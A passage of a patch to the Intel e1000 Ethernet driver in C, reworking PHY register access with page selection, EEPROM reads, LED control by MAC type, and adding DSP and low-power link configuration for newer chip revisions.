e1000_read_phy_reg_ex(hw, IGP01E1000_PHY_PAGE_SELECT & reg_addr, + phy_data); + + return ret_val; +} + +int32_t +e1000_read_phy_reg_ex(struct e1000_hw *hw, + uint32_t reg_addr, + uint16_t *phy_data) +{ uint32_t i; uint32_t mdic = 0; const uint32_t phy_addr = 1; - DEBUGFUNC("e1000_read_phy_reg"); + DEBUGFUNC("e1000_read_phy_reg_ex"); if(reg_addr > MAX_PHY_REG_ADDRESS) { DEBUGOUT1("PHY Address %d is out of range\n", reg_addr); @@ -2172,7 +2378,7 @@ e1000_read_phy_reg(struct e1000_hw *hw, /* Poll the ready bit to see if the MDI read completed */ for(i = 0; i < 64; i++) { - udelay(10); + udelay(50); mdic = E1000_READ_REG(hw, MDIC); if(mdic & E1000_MDIC_READY) break; } @@ -2214,7 +2420,7 @@ e1000_read_phy_reg(struct e1000_hw *hw, */ *phy_data = e1000_shift_in_mdi_bits(hw); } - return 0; + return E1000_SUCCESS; } /****************************************************************************** @@ -2229,11 +2435,33 @@ e1000_write_phy_reg(struct e1000_hw *hw, uint32_t reg_addr, uint16_t phy_data) { + uint32_t ret_val; + + DEBUGFUNC("e1000_write_phy_reg"); + + if(hw->phy_type == e1000_phy_igp && + (reg_addr > MAX_PHY_MULTI_PAGE_REG)) { + if((ret_val = e1000_write_phy_reg_ex(hw, IGP01E1000_PHY_PAGE_SELECT, + (uint16_t)reg_addr))) + return ret_val; + } + + ret_val = e1000_write_phy_reg_ex(hw, IGP01E1000_PHY_PAGE_SELECT & reg_addr, + phy_data); + + return ret_val; +} + +int32_t +e1000_write_phy_reg_ex(struct e1000_hw *hw, + uint32_t reg_addr, + uint16_t phy_data) +{ uint32_t i; uint32_t mdic = 0; const uint32_t phy_addr = 1; - DEBUGFUNC("e1000_write_phy_reg"); + DEBUGFUNC("e1000_write_phy_reg_ex"); if(reg_addr > MAX_PHY_REG_ADDRESS) { DEBUGOUT1("PHY Address %d is out of range\n", reg_addr); @@ -2254,7 +2482,7 @@ e1000_write_phy_reg(struct e1000_hw *hw, /* Poll the ready bit to see if the MDI read completed */ for(i = 0; i < 64; i++) { - udelay(10); + udelay(50); mdic = E1000_READ_REG(hw, MDIC); if(mdic & E1000_MDIC_READY) break; } @@ -2284,7 +2512,7 @@ e1000_write_phy_reg(struct e1000_hw *hw, e1000_shift_out_mdi_bits(hw, mdic, 32); } - return 0; + return E1000_SUCCESS; } /****************************************************************************** @@ -2329,11 +2553,6 @@ e1000_phy_hw_reset(struct e1000_hw *hw) udelay(150); if((hw->mac_type == e1000_82541) || (hw->mac_type == e1000_82547)) { - if(e1000_write_phy_reg(hw, IGP01E1000_PHY_PAGE_SELECT, 0x0000) < 0) { - DEBUGOUT("PHY Write Error\n"); - return; - } - /* Configure activity LED after PHY reset */ led_ctrl = E1000_READ_REG(hw, LEDCTL); led_ctrl &= IGP_ACTIVITY_LED_MASK; @@ -2352,24 +2575,26 @@ e1000_phy_hw_reset(struct e1000_hw *hw) int32_t e1000_phy_reset(struct e1000_hw *hw) { + int32_t ret_val; uint16_t phy_data; DEBUGFUNC("e1000_phy_reset"); - if(e1000_read_phy_reg(hw, PHY_CTRL, &phy_data) < 0) { - DEBUGOUT("PHY Read Error\n"); - return -E1000_ERR_PHY; - } - phy_data |= MII_CR_RESET; - if(e1000_write_phy_reg(hw, PHY_CTRL, phy_data) < 0) { - DEBUGOUT("PHY Write Error\n"); - return -E1000_ERR_PHY; - } - udelay(1); - if (hw->phy_type == e1000_phy_igp) { + if(hw->mac_type != e1000_82541_rev_2) { + if((ret_val = e1000_read_phy_reg(hw, PHY_CTRL, &phy_data))) + return ret_val; + + phy_data |= MII_CR_RESET; + if((ret_val = e1000_write_phy_reg(hw, PHY_CTRL, phy_data))) + return ret_val; + + udelay(1); + } else e1000_phy_hw_reset(hw); + + if(hw->phy_type == e1000_phy_igp) e1000_phy_init_script(hw); - } - return 0; + + return E1000_SUCCESS; } /****************************************************************************** @@ -2409,11 +2634,15 @@ e1000_detect_gig_phy(struct e1000_hw *hw break; case e1000_82540: case e1000_82545: + case e1000_82545_rev_3: case e1000_82546: + case e1000_82546_rev_3: if(hw->phy_id == M88E1011_I_PHY_ID) match = TRUE; break; case e1000_82541: + case e1000_82541_rev_2: case e1000_82547: + case e1000_82547_rev_2: if(hw->phy_id == IGP01E1000_I_PHY_ID) match = TRUE; break; default: @@ -2438,17 +2667,16 @@ e1000_detect_gig_phy(struct e1000_hw *hw static int32_t e1000_phy_reset_dsp(struct e1000_hw *hw) { - int32_t ret_val = -E1000_ERR_PHY; + int32_t ret_val; DEBUGFUNC("e1000_phy_reset_dsp"); do { - if(e1000_write_phy_reg(hw, 29, 0x001d) < 0) break; - if(e1000_write_phy_reg(hw, 30, 0x00c1) < 0) break; - if(e1000_write_phy_reg(hw, 30, 0x0000) < 0) break; - ret_val = 0; + if((ret_val = e1000_write_phy_reg(hw, 29, 0x001d))) break; + if((ret_val = e1000_write_phy_reg(hw, 30, 0x00c1))) break; + if((ret_val = e1000_write_phy_reg(hw, 30, 0x0000))) break; + ret_val = E1000_SUCCESS; } while(0); - if(ret_val < 0) DEBUGOUT("PHY Write Error\n"); return ret_val; } @@ -2459,8 +2687,10 @@ e1000_phy_reset_dsp(struct e1000_hw *hw) * phy_info - PHY information structure ******************************************************************************/ int32_t -e1000_phy_igp_get_info(struct e1000_hw *hw, struct e1000_phy_info *phy_info) +e1000_phy_igp_get_info(struct e1000_hw *hw, + struct e1000_phy_info *phy_info) { + int32_t ret_val; uint16_t phy_data, polarity, min_length, max_length, average; DEBUGFUNC("e1000_phy_igp_get_info"); @@ -2668,7 +2898,9 @@ e1000_init_eeprom_params(struct e1000_hw break; case e1000_82540: case e1000_82545: + case e1000_82545_rev_3: case e1000_82546: + case e1000_82546_rev_3: eeprom->type = e1000_eeprom_microwire; eeprom->opcode_bits = 3; eeprom->delay_usec = 50; @@ -2681,8 +2913,9 @@ e1000_init_eeprom_params(struct e1000_hw } break; case e1000_82541: + case e1000_82541_rev_2: case e1000_82547: - default: + case e1000_82547_rev_2: if (eecd & E1000_EECD_TYPE) { eeprom->type = e1000_eeprom_spi; eeprom->opcode_bits = 8; @@ -2707,6 +2940,18 @@ e1000_init_eeprom_params(struct e1000_hw } } break; + default: + eeprom->type = e1000_eeprom_spi; + eeprom->opcode_bits = 8; + eeprom->delay_usec = 1; + if (eecd & E1000_EECD_ADDR_BITS) { + eeprom->page_size = 32; + eeprom->address_bits = 16; + } else { + eeprom->page_size = 8; + eeprom->address_bits = 8; + } + break; } if (eeprom->type == e1000_eeprom_spi) { @@ -2715,28 +2960,28 @@ e1000_init_eeprom_params(struct e1000_hw eeprom_size &= EEPROM_SIZE_MASK; switch (eeprom_size) { - case EEPROM_SIZE_16KB: - eeprom->word_size = 8192; - break; - case EEPROM_SIZE_8KB: - eeprom->word_size = 4096; - break; - case EEPROM_SIZE_4KB: - eeprom->word_size = 2048; - break; - case EEPROM_SIZE_2KB: - eeprom->word_size = 1024; - break; - case EEPROM_SIZE_1KB: - eeprom->word_size = 512; - break; - case EEPROM_SIZE_512B: - eeprom->word_size = 256; - break; - case EEPROM_SIZE_128B: - default: - eeprom->word_size = 64; - break; + case EEPROM_SIZE_16KB: + eeprom->word_size = 8192; + break; + case EEPROM_SIZE_8KB: + eeprom->word_size = 4096; + break; + case EEPROM_SIZE_4KB: + eeprom->word_size = 2048; + break; + case EEPROM_SIZE_2KB: + eeprom->word_size = 1024; + break; + case EEPROM_SIZE_1KB: + eeprom->word_size = 512; + break; + case EEPROM_SIZE_512B: + eeprom->word_size = 256; + break; + case EEPROM_SIZE_128B: + default: + eeprom->word_size = 64; + break; } } } @@ -3101,13 +3346,17 @@ e1000_read_eeprom(struct e1000_hw *hw, } /* Prepare the EEPROM for reading */ - if (e1000_acquire_eeprom(hw) != E1000_SUCCESS) + if(e1000_acquire_eeprom(hw) != E1000_SUCCESS) return -E1000_ERR_EEPROM; if(eeprom->type == e1000_eeprom_spi) { + uint16_t word_in; uint8_t read_opcode = EEPROM_READ_OPCODE_SPI; - if(e1000_spi_eeprom_ready(hw)) return -E1000_ERR_EEPROM; + if(e1000_spi_eeprom_ready(hw)) { + e1000_release_eeprom(hw); + return -E1000_ERR_EEPROM; + } e1000_standby_eeprom(hw); @@ -3118,30 +3367,35 @@ e1000_read_eeprom(struct e1000_hw *hw, /* Send the READ command (opcode + addr) */ e1000_shift_out_ee_bits(hw, read_opcode, eeprom->opcode_bits); e1000_shift_out_ee_bits(hw, (uint16_t)(offset*2), eeprom->address_bits); - } - else if(eeprom->type == e1000_eeprom_microwire) { - /* Send the READ command (opcode + addr) */ - e1000_shift_out_ee_bits(hw, EEPROM_READ_OPCODE_MICROWIRE, - eeprom->opcode_bits); - e1000_shift_out_ee_bits(hw, offset, eeprom->address_bits); - } - /* Read the data. The address of the eeprom internally increments with - * each word (microwire) or byte (spi) being read, saving on the overhead - * of eeprom setup and tear-down. The address counter will roll over if - * reading beyond the size of the eeprom, thus allowing the entire memory - * to be read starting from any offset. */ - for (i = 0; i < words; i++) { - uint16_t word_in = e1000_shift_in_ee_bits(hw, 16); - if (eeprom->type == e1000_eeprom_spi) - word_in = (word_in >> 8) | (word_in << 8); - data[i] = word_in; + /* Read the data. The address of the eeprom internally increments with + * each byte (spi) being read, saving on the overhead of eeprom setup + * and tear-down. The address counter will roll over if reading beyond + * the size of the eeprom, thus allowing the entire memory to be read + * starting from any offset. */ + for (i = 0; i < words; i++) { + word_in = e1000_shift_in_ee_bits(hw, 16); + data[i] = (word_in >> 8) | (word_in << 8); + } + } else if(eeprom->type == e1000_eeprom_microwire) { + for (i = 0; i < words; i++) { + /* Send the READ command (opcode + addr) */ + e1000_shift_out_ee_bits(hw, EEPROM_READ_OPCODE_MICROWIRE, + eeprom->opcode_bits); + e1000_shift_out_ee_bits(hw, (uint16_t)(offset + i), + eeprom->address_bits); + + /* Read the data. For microwire, each word requires the overhead + * of eeprom setup and tear-down. */ + data[i] = e1000_shift_in_ee_bits(hw, 16); + e1000_standby_eeprom(hw); + } } /* End this read operation */ e1000_release_eeprom(hw); - return 0; + return E1000_SUCCESS; } /****************************************************************************** @@ -3463,7 +3717,7 @@ e1000_read_mac_addr(struct e1000_hw * hw hw->perm_mac_addr[i] = (uint8_t) (eeprom_data & 0x00FF); hw->perm_mac_addr[i+1] = (uint8_t) (eeprom_data >> 8); } - if((hw->mac_type == e1000_82546) && + if(((hw->mac_type == e1000_82546) || (hw->mac_type == e1000_82546_rev_3)) && (E1000_READ_REG(hw, STATUS) & E1000_STATUS_FUNC_1)) { if(hw->perm_mac_addr[5] & 0x01) hw->perm_mac_addr[5] &= ~(0x01); @@ -3811,49 +4065,48 @@ int32_t e1000_setup_led(struct e1000_hw *hw) { uint32_t ledctl; + int32_t ret_val = E1000_SUCCESS; DEBUGFUNC("e1000_setup_led"); - switch(hw->device_id) { - case E1000_DEV_ID_82542: - case E1000_DEV_ID_82543GC_FIBER: - case E1000_DEV_ID_82543GC_COPPER: - case E1000_DEV_ID_82544EI_COPPER: - case E1000_DEV_ID_82544EI_FIBER: - case E1000_DEV_ID_82544GC_COPPER: - case E1000_DEV_ID_82544GC_LOM: + switch(hw->mac_type) { + case e1000_82542_rev2_0: + case e1000_82542_rev2_1: + case e1000_82543: + case e1000_82544: /* No setup necessary */ break; - case E1000_DEV_ID_82545EM_FIBER: - case E1000_DEV_ID_82546EB_FIBER: - ledctl = E1000_READ_REG(hw, LEDCTL); - /* Save current LEDCTL settings */ - hw->ledctl_default = ledctl; - /* Turn off LED0 */ - ledctl &= ~(E1000_LEDCTL_LED0_IVRT | - E1000_LEDCTL_LED0_BLINK | - E1000_LEDCTL_LED0_MODE_MASK); - ledctl |= (E1000_LEDCTL_MODE_LED_OFF << E1000_LEDCTL_LED0_MODE_SHIFT); - E1000_WRITE_REG(hw, LEDCTL, ledctl); + case e1000_82541: + case e1000_82547: + case e1000_82541_rev_2: + case e1000_82547_rev_2: + /* Turn off PHY Smart Power Down (if enabled) */ + if((ret_val = e1000_read_phy_reg(hw, IGP01E1000_GMII_FIFO, + &hw->phy_spd_default))) + return ret_val; + if((ret_val = e1000_write_phy_reg(hw, IGP01E1000_GMII_FIFO, + (uint16_t)(hw->phy_spd_default & + ~IGP01E1000_GMII_SPD)))) + return ret_val; + /* Fall Through */ + default: + if(hw->media_type == e1000_media_type_fiber) { + ledctl = E1000_READ_REG(hw, LEDCTL); + /* Save current LEDCTL settings */ + hw->ledctl_default = ledctl; + /* Turn off LED0 */ + ledctl &= ~(E1000_LEDCTL_LED0_IVRT | + E1000_LEDCTL_LED0_BLINK | + E1000_LEDCTL_LED0_MODE_MASK); + ledctl |= (E1000_LEDCTL_MODE_LED_OFF << + E1000_LEDCTL_LED0_MODE_SHIFT); + E1000_WRITE_REG(hw, LEDCTL, ledctl); + } else if(hw->media_type == e1000_media_type_copper) + E1000_WRITE_REG(hw, LEDCTL, hw->ledctl_mode1); break; - case E1000_DEV_ID_82540EP: - case E1000_DEV_ID_82540EP_LOM: - case E1000_DEV_ID_82540EP_LP: - case E1000_DEV_ID_82540EM: - case E1000_DEV_ID_82540EM_LOM: - case E1000_DEV_ID_82545EM_COPPER: - case E1000_DEV_ID_82546EB_COPPER: - case E1000_DEV_ID_82546EB_QUAD_COPPER: - case E1000_DEV_ID_82541EI: - case E1000_DEV_ID_82541EP: - case E1000_DEV_ID_82547EI: - E1000_WRITE_REG(hw, LEDCTL, hw->ledctl_mode1); - break; - default: - DEBUGOUT("Invalid device ID\n"); - return -E1000_ERR_CONFIG; } - return 0; + + return E1000_SUCCESS; } /****************************************************************************** @@ -3864,39 +4117,33 @@ e1000_setup_led(struct e1000_hw *hw) int32_t e1000_cleanup_led(struct e1000_hw *hw) { + int32_t ret_val = E1000_SUCCESS; + DEBUGFUNC("e1000_cleanup_led"); - switch(hw->device_id) { - case E1000_DEV_ID_82542: - case E1000_DEV_ID_82543GC_FIBER: - case E1000_DEV_ID_82543GC_COPPER: - case E1000_DEV_ID_82544EI_COPPER: - case E1000_DEV_ID_82544EI_FIBER: - case E1000_DEV_ID_82544GC_COPPER: - case E1000_DEV_ID_82544GC_LOM: + switch(hw->mac_type) { + case e1000_82542_rev2_0: + case e1000_82542_rev2_1: + case e1000_82543: + case e1000_82544: /* No cleanup necessary */ break; - case E1000_DEV_ID_82540EP: - case E1000_DEV_ID_82540EP_LOM: - case E1000_DEV_ID_82540EP_LP: - case E1000_DEV_ID_82540EM: - case E1000_DEV_ID_82540EM_LOM: - case E1000_DEV_ID_82545EM_COPPER: - case E1000_DEV_ID_82545EM_FIBER: - case E1000_DEV_ID_82546EB_COPPER: - case E1000_DEV_ID_82546EB_FIBER: - case E1000_DEV_ID_82546EB_QUAD_COPPER: - case E1000_DEV_ID_82541EI: - case E1000_DEV_ID_82541EP: - case E1000_DEV_ID_82547EI: + case e1000_82541: + case e1000_82547: + case e1000_82541_rev_2: + case e1000_82547_rev_2: + /* Turn on PHY Smart Power Down (if previously enabled) */ + if((ret_val = e1000_write_phy_reg(hw, IGP01E1000_GMII_FIFO, + hw->phy_spd_default))) + return ret_val; + /* Fall Through */ + default: /* Restore LEDCTL settings */ E1000_WRITE_REG(hw, LEDCTL, hw->ledctl_default); break; - default: - DEBUGOUT("Invalid device ID\n"); - return -E1000_ERR_CONFIG; } - return 0; + + return E1000_SUCCESS; } /****************************************************************************** @@ -3907,50 +4154,44 @@ e1000_cleanup_led(struct e1000_hw *hw) int32_t e1000_led_on(struct e1000_hw *hw) { - uint32_t ctrl; + uint32_t ctrl = E1000_READ_REG(hw, CTRL); DEBUGFUNC("e1000_led_on"); - switch(hw->device_id) { - case E1000_DEV_ID_82542: - case E1000_DEV_ID_82543GC_FIBER: - case E1000_DEV_ID_82543GC_COPPER: - case E1000_DEV_ID_82544EI_FIBER: - ctrl = E1000_READ_REG(hw, CTRL); + switch(hw->mac_type) { + case e1000_82542_rev2_0: + case e1000_82542_rev2_1: + case e1000_82543: /* Set SW Defineable Pin 0 to turn on the LED */ ctrl |= E1000_CTRL_SWDPIN0; ctrl |= E1000_CTRL_SWDPIO0; - E1000_WRITE_REG(hw, CTRL, ctrl); - break; - case E1000_DEV_ID_82544EI_COPPER: - case E1000_DEV_ID_82544GC_COPPER: - case E1000_DEV_ID_82544GC_LOM: - case E1000_DEV_ID_82545EM_FIBER: - case E1000_DEV_ID_82546EB_FIBER: - ctrl = E1000_READ_REG(hw, CTRL); - /* Clear SW Defineable Pin 0 to turn on the LED */ - ctrl &= ~E1000_CTRL_SWDPIN0; - ctrl |= E1000_CTRL_SWDPIO0; - E1000_WRITE_REG(hw, CTRL, ctrl); break; - case E1000_DEV_ID_82540EP: - case E1000_DEV_ID_82540EP_LOM: - case E1000_DEV_ID_82540EP_LP: - case E1000_DEV_ID_82540EM: - case E1000_DEV_ID_82540EM_LOM: - case E1000_DEV_ID_82545EM_COPPER: - case E1000_DEV_ID_82546EB_COPPER: - case E1000_DEV_ID_82546EB_QUAD_COPPER: - case E1000_DEV_ID_82541EI: - case E1000_DEV_ID_82541EP: - case E1000_DEV_ID_82547EI: - E1000_WRITE_REG(hw, LEDCTL, hw->ledctl_mode2); + case e1000_82544: + if(hw->media_type == e1000_media_type_fiber) { + /* Set SW Defineable Pin 0 to turn on the LED */ + ctrl |= E1000_CTRL_SWDPIN0; + ctrl |= E1000_CTRL_SWDPIO0; + } else { + /* Clear SW Defineable Pin 0 to turn on the LED */ + ctrl &= ~E1000_CTRL_SWDPIN0; + ctrl |= E1000_CTRL_SWDPIO0; + } break; default: - DEBUGOUT("Invalid device ID\n"); - return -E1000_ERR_CONFIG; + if(hw->media_type == e1000_media_type_fiber) { + /* Clear SW Defineable Pin 0 to turn on the LED */ + ctrl &= ~E1000_CTRL_SWDPIN0; + ctrl |= E1000_CTRL_SWDPIO0; + } else if(hw->media_type == e1000_media_type_copper) { + E1000_WRITE_REG(hw, LEDCTL, hw->ledctl_mode2); + return E1000_SUCCESS; + } + break; } - return 0; + + E1000_WRITE_REG(hw, CTRL, ctrl); + + return E1000_SUCCESS; } /****************************************************************************** @@ -3961,50 +4202,44 @@ e1000_led_on(struct e1000_hw *hw) int32_t e1000_led_off(struct e1000_hw *hw) { - uint32_t ctrl; + uint32_t ctrl = E1000_READ_REG(hw, CTRL); DEBUGFUNC("e1000_led_off"); - switch(hw->device_id) { - case E1000_DEV_ID_82542: - case E1000_DEV_ID_82543GC_FIBER: - case E1000_DEV_ID_82543GC_COPPER: - case E1000_DEV_ID_82544EI_FIBER: - ctrl = E1000_READ_REG(hw, CTRL); + switch(hw->mac_type) { + case e1000_82542_rev2_0: + case e1000_82542_rev2_1: + case e1000_82543: /* Clear SW Defineable Pin 0 to turn off the LED */ ctrl &= ~E1000_CTRL_SWDPIN0; ctrl |= E1000_CTRL_SWDPIO0; - E1000_WRITE_REG(hw, CTRL, ctrl); - break; - case E1000_DEV_ID_82544EI_COPPER: - case E1000_DEV_ID_82544GC_COPPER: - case E1000_DEV_ID_82544GC_LOM: - case E1000_DEV_ID_82545EM_FIBER: - case E1000_DEV_ID_82546EB_FIBER: - ctrl = E1000_READ_REG(hw, CTRL); - /* Set SW Defineable Pin 0 to turn off the LED */ - ctrl |= E1000_CTRL_SWDPIN0; - ctrl |= E1000_CTRL_SWDPIO0; - E1000_WRITE_REG(hw, CTRL, ctrl); break; - case E1000_DEV_ID_82540EP: - case E1000_DEV_ID_82540EP_LOM: - case E1000_DEV_ID_82540EP_LP: - case E1000_DEV_ID_82540EM: - case E1000_DEV_ID_82540EM_LOM: - case E1000_DEV_ID_82545EM_COPPER: - case E1000_DEV_ID_82546EB_COPPER: - case E1000_DEV_ID_82546EB_QUAD_COPPER: - case E1000_DEV_ID_82541EI: - case E1000_DEV_ID_82541EP: - case E1000_DEV_ID_82547EI: - E1000_WRITE_REG(hw, LEDCTL, hw->ledctl_mode1); + case e1000_82544: + if(hw->media_type == e1000_media_type_fiber) { + /* Clear SW Defineable Pin 0 to turn off the LED */ + ctrl &= ~E1000_CTRL_SWDPIN0; + ctrl |= E1000_CTRL_SWDPIO0; + } else { + /* Set SW Defineable Pin 0 to turn off the LED */ + ctrl |= E1000_CTRL_SWDPIN0; + ctrl |= E1000_CTRL_SWDPIO0; + } break; default: - DEBUGOUT("Invalid device ID\n"); - return -E1000_ERR_CONFIG; + if(hw->media_type == e1000_media_type_fiber) { + /* Set SW Defineable Pin 0 to turn off the LED */ + ctrl |= E1000_CTRL_SWDPIN0; + ctrl |= E1000_CTRL_SWDPIO0; + } else if(hw->media_type == e1000_media_type_copper) { + E1000_WRITE_REG(hw, LEDCTL, hw->ledctl_mode1); + return E1000_SUCCESS; + } + break; } - return 0; + + E1000_WRITE_REG(hw, CTRL, ctrl); + + return E1000_SUCCESS; } /****************************************************************************** @@ -4324,7 +4559,8 @@ e1000_write_reg_io(struct e1000_hw *hw, * min_length - The estimated minimum length * max_length - The estimated maximum length * - * returns: E1000_SUCCESS / -E1000_ERR_XXX + * returns: - E1000_ERR_XXX + * E1000_SUCCESS * * This function always returns a ranged length (minimum & maximum). * So for M88 phy's, this function interprets the one value returned from the @@ -4439,7 +4675,8 @@ e1000_get_cable_length(struct e1000_hw * * polarity - output parameter : 0 - Polarity is not reversed * 1 - Polarity is reversed. * - * returns: E1000_SUCCESS / -E1000_ERR_XXX + * returns: - E1000_ERR_XXX + * E1000_SUCCESS * * For phy's older then IGP, this function simply reads the polarity bit in the * Phy Status register. For IGP phy's, this bit is valid only if link speed is @@ -4471,18 +4708,9 @@ e1000_check_polarity(struct e1000_hw *hw IGP01E1000_PSSR_SPEED_1000MBPS) { /* Read the GIG initialization PCS register (0x00B4) */ - if(e1000_write_phy_reg(hw, IGP01E1000_PHY_PAGE_SELECT, - IGP01E1000_PHY_PCS_INIT_REG) < 0) - return -E1000_ERR_PHY; - - if(e1000_read_phy_reg(hw, IGP01E1000_PHY_PCS_INIT_REG & - IGP01E1000_PHY_PAGE_SELECT, &phy_data) < 0) - return -E1000_ERR_PHY; - - /* Return to page 0 */ - if(e1000_write_phy_reg(hw, IGP01E1000_PHY_PAGE_SELECT, 0x0) != - E1000_SUCCESS) - return -E1000_ERR_PHY; + if((ret_val = e1000_read_phy_reg(hw, IGP01E1000_PHY_PCS_INIT_REG, + &phy_data))) + return ret_val; /* Check the polarity bits */ *polarity = (phy_data & IGP01E1000_PHY_POLARITY_MASK) ? 1 : 0; @@ -4502,7 +4730,8 @@ e1000_check_polarity(struct e1000_hw *hw * downshift - output parameter : 0 - No Downshift ocured. * 1 - Downshift ocured. * - * returns: E1000_SUCCESS / -E1000_ERR_XXX + * returns: - E1000_ERR_XXX + * E1000_SUCCESS * * For phy's older then IGP, this function reads the Downshift bit in the Phy * Specific Status register. For IGP phy's, it reads the Downgrade bit in the @@ -4512,25 +4738,287 @@ e1000_check_polarity(struct e1000_hw *hw int32_t e1000_check_downshift(struct e1000_hw *hw) { + int32_t ret_val; uint16_t phy_data; DEBUGFUNC("e1000_check_downshift"); if(hw->phy_type == e1000_phy_igp) { - if(e1000_read_phy_reg(hw, IGP01E1000_PHY_LINK_HEALTH, &phy_data) < 0) { - DEBUGOUT("PHY Read Error\n"); - return -E1000_ERR_PHY; - } + if((ret_val = e1000_read_phy_reg(hw, IGP01E1000_PHY_LINK_HEALTH, + &phy_data))) + return ret_val; + hw->speed_downgraded = (phy_data & IGP01E1000_PLHR_SS_DOWNGRADE) ? 1 : 0; } else if(hw->phy_type == e1000_phy_m88) { - if(e1000_read_phy_reg(hw, M88E1000_PHY_SPEC_STATUS, &phy_data) < 0) { - DEBUGOUT("PHY Read Error\n"); - return -E1000_ERR_PHY; - } + if((ret_val = e1000_read_phy_reg(hw, M88E1000_PHY_SPEC_STATUS, + &phy_data))) + return ret_val; + hw->speed_downgraded = (phy_data & M88E1000_PSSR_DOWNSHIFT) >> - M88E1000_PSSR_DOWNSHIFT_SHIFT; + M88E1000_PSSR_DOWNSHIFT_SHIFT; + } + return E1000_SUCCESS; +} + +/***************************************************************************** + * + * 82541_rev_2 & 82547_rev_2 have the capability to configure the DSP when a + * gigabit link is achieved to improve link quality. + * + * hw: Struct containing variables accessed by shared code + * + * returns: - E1000_ERR_PHY if fail to read/write the PHY + * E1000_SUCCESS at any other case. + * + ****************************************************************************/ + +int32_t +e1000_config_dsp_after_link_change(struct e1000_hw *hw, + boolean_t link_up) +{ + int32_t ret_val; + uint16_t phy_data, speed, duplex, i; + uint16_t dsp_reg_array[IGP01E1000_PHY_CHANNEL_NUM] = + {IGP01E1000_PHY_AGC_PARAM_A, + IGP01E1000_PHY_AGC_PARAM_B, + IGP01E1000_PHY_AGC_PARAM_C, + IGP01E1000_PHY_AGC_PARAM_D}; + uint16_t min_length, max_length; + + DEBUGFUNC("e1000_config_dsp_after_link_change"); + + if(hw->phy_type != e1000_phy_igp) + return E1000_SUCCESS; + + if(link_up) { + if((ret_val = e1000_get_speed_and_duplex(hw, &speed, &duplex))) { + DEBUGOUT("Error getting link speed and duplex\n"); + return ret_val; + } + + if(speed == SPEED_1000) { + + e1000_get_cable_length(hw, &min_length, &max_length); + + if((hw->dsp_config_state == e1000_dsp_config_enabled) && + min_length >= e1000_igp_cable_length_50) { + + for(i = 0; i < IGP01E1000_PHY_CHANNEL_NUM; i++) { + if((ret_val = e1000_read_phy_reg(hw, dsp_reg_array[i], + &phy_data))) + return ret_val; + + phy_data &= ~IGP01E1000_PHY_EDAC_MU_INDEX; + + if((ret_val = e1000_write_phy_reg(hw, dsp_reg_array[i], + phy_data))) + return ret_val; + } + hw->dsp_config_state = e1000_dsp_config_activated; + } + + if((hw->ffe_config_state == e1000_ffe_config_enabled) && + (min_length < e1000_igp_cable_length_50)) { + + uint16_t ffe_idle_err_timeout = FFE_IDLE_ERR_COUNT_TIMEOUT_20; + uint32_t idle_errs = 0; + + /* clear previous idle error counts */ + if((ret_val = e1000_read_phy_reg(hw, PHY_1000T_STATUS, + &phy_data))) + return ret_val; + + for(i = 0; i < ffe_idle_err_timeout; i++) { + udelay(1000); + if((ret_val = e1000_read_phy_reg(hw, PHY_1000T_STATUS, + &phy_data))) + return ret_val; + + idle_errs += (phy_data & SR_1000T_IDLE_ERROR_CNT); + if(idle_errs > SR_1000T_PHY_EXCESSIVE_IDLE_ERR_COUNT) { + hw->ffe_config_state = e1000_ffe_config_active; + + if((ret_val = e1000_write_phy_reg(hw, + IGP01E1000_PHY_DSP_FFE, + IGP01E1000_PHY_DSP_FFE_CM_CP))) + return ret_val; + break; + } + + if(idle_errs) + ffe_idle_err_timeout = FFE_IDLE_ERR_COUNT_TIMEOUT_100; + } + } + } + } else { + if(hw->dsp_config_state == e1000_dsp_config_activated) { + if((ret_val = e1000_write_phy_reg(hw, 0x0000, + IGP01E1000_IEEE_FORCE_GIGA))) + return ret_val; + for(i = 0; i < IGP01E1000_PHY_CHANNEL_NUM; i++) { + if((ret_val = e1000_read_phy_reg(hw, dsp_reg_array[i], + &phy_data))) + return ret_val; + + phy_data &= ~IGP01E1000_PHY_EDAC_MU_INDEX; + phy_data |= IGP01E1000_PHY_EDAC_SIGN_EXT_9_BITS; + + if((ret_val = e1000_write_phy_reg(hw,dsp_reg_array[i], + phy_data))) + return ret_val; + } + + if((ret_val = e1000_write_phy_reg(hw, 0x0000, + IGP01E1000_IEEE_RESTART_AUTONEG))) + return ret_val; + + hw->dsp_config_state = e1000_dsp_config_enabled; + } + + if(hw->ffe_config_state == e1000_ffe_config_active) { + if((ret_val = e1000_write_phy_reg(hw, 0x0000, + IGP01E1000_IEEE_FORCE_GIGA))) + return ret_val; + if((ret_val = e1000_write_phy_reg(hw, IGP01E1000_PHY_DSP_FFE, + IGP01E1000_PHY_DSP_FFE_DEFAULT))) + return ret_val; + + if((ret_val = e1000_write_phy_reg(hw, 0x0000, + IGP01E1000_IEEE_RESTART_AUTONEG))) + return ret_val; + hw->ffe_config_state = e1000_ffe_config_enabled; + } + } + return E1000_SUCCESS; +} + +/***************************************************************************** + * + * This function sets the lplu state according to the active flag. When + * activating lplu this function also disables smart speed and vise versa. + * lplu will not be activated unless the device autonegotiation advertisment + * meets standards of either 10 or 10/100 or 10/100/1000 at all duplexes. + * hw: Struct containing variables accessed by shared code + * active - true to enable lplu false to disable lplu. + * + * returns: - E1000_ERR_PHY if fail to read/write the PHY + * E1000_SUCCESS at any other case. + * + ****************************************************************************/ + +int32_t +e1000_set_d3_lplu_state(struct e1000_hw *hw, + boolean_t active) +{ + int32_t ret_val; + uint16_t phy_data; + DEBUGFUNC("e1000_set_d3_lplu_state"); + + if(!((hw->mac_type == e1000_82541_rev_2) || + (hw->mac_type == e1000_82547_rev_2))) + return E1000_SUCCESS; + + /* During driver activity LPLU should not be used or it will attain link + * from the lowest speeds starting from 10Mbps. The capability is used for + * Dx transitions and states */ + if((ret_val = e1000_read_phy_reg(hw, IGP01E1000_GMII_FIFO, &phy_data))) + return ret_val; + + if(!active) { + phy_data &= ~IGP01E1000_GMII_FLEX_SPD; + if((ret_val = e1000_write_phy_reg(hw, IGP01E1000_GMII_FIFO, phy_data))) + return ret_val; + + /* LPLU and SmartSpeed are mutually exclusive. LPLU is used during + * Dx states where the power conservation is most important. During + * driver activity we should enable SmartSpeed, so performance is + * maintained. */ + if((ret_val = e1000_read_phy_reg(hw, IGP01E1000_PHY_PORT_CONFIG, + &phy_data))) + return ret_val; + + phy_data |= IGP01E1000_PSCFR_SMART_SPEED; + if((ret_val = e1000_write_phy_reg(hw, IGP01E1000_PHY_PORT_CONFIG, + phy_data))) + return ret_val; + + } else if((hw->autoneg_advertised == AUTONEG_ADVERTISE_SPEED_DEFAULT) || + (hw->autoneg_advertised == 